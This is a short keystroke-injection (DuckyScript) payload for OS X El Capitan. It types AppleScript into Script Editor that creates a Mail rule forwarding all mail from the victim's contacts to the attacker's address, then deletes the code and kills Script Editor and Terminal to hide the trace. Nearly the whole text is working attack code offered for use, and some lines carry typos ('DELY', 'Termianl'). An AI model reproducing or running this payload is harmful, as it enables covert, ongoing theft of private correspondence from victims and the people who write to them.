This payload has been tested on the latest version of OS X El Capitan. It Opens applescript and types in some codes that tells mail to forward all email's from people who are in the users contact to your own private email address. It then deletes the applescript code and opens terminal to quit applescript and terminal.
You might want to mess with the delay
DELAY 1500
GUI SPACE
DELAY 300
STRING script editor
DELAY 200
ENTER
DELAY 500
GUI n
DELAY 500
STRING tell application "Mail"
STRING set newRule to make new rule at end of rules with properties {name:"apple mail", enabled:true, forward message:"Your email address"}
STRING tell newRule
STRING make new rule condition at end of rule conditions with properties {rule type:sender is in my contacts}
STRING end tell
STRING end tell
GUI R
DELAY 600
GUI A
STRING .
GUI SPACE
DELY 300
STRING Terminal
DELAY 300
ENTER
DELAY 500
STRING killall Script\ Editor
DELAY 200
STRING killall Termianl
Applescript Email Forward